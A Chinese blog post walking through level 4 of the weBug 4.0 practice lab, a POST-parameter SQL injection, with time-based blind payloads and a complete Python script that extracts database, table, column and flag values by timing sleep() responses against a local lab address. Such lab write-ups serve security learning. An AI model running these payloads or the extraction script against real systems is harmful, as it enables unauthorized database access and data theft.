美文网首页
weBug 4.0 第四关 post注入

weBug 4.0 第四关 post注入

作者: gelinlang | 来源:发表于2019-05-09 22:22 被阅读0次

    打开页面,既然提示post注入,那么F12审查下元素找到表单如下,也就是在搜索框处。


    图片.png

    在搜索框中输入1',提交,发现报错。输入1'#,提交,返回正常,说明存在注入点。
    由于不管输入什么返回都是一样的,用时间盲注(sleep等函数)。
    payload:

    1' or sleep(5)#
    

    成功延时,然后测下数据库的长度,当长度为5时成功延时。

    1' or if(length(database())=5,sleep(5),1)#
    

    接下来写脚本跑数据,或者用sqlmap直接跑也能跑出。部分列名如下,可能服务器在虚拟机上,跑的贼慢,就不跑完了。


    图片.png
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    import requests
    import time
    
    chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{},!@#$%^&*()_+-="
    url = "http://192.168.1.100/control/sqlinject/post_injection.php"
    name = ""
    
    # 难得的爆长度了,随便选个较大的。
    for i in range(1, 50):
        print(i)
        for char in chars:
            # 爆数据库名webug
            # payload = "1' or if(ascii(substr(database()," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
            # 爆表名
            payload = "1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables " \
                     "where table_schema=database())," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
            # 爆列名
            # payload = "1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns " \
            #           "where table_name='输入列名')," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
            # 爆字段
            # payload = "1' or if(ascii(substr((select flag from flag)," + str(i) + ",1))=" + str(ord(char)) + ", sleep(5), 1)#"
            data = {
                "keyWordName": payload,
            }
            start = time.time()
            res = requests.post(url, data=data)
            end = time.time()
            if end - start >= 5:
                name += char
                print(name)
                break
    

    相关文章

      网友评论

          本文标题:weBug 4.0 第四关 post注入

          本文链接:https://www.haomeiwen.com/subject/optnoqtx.html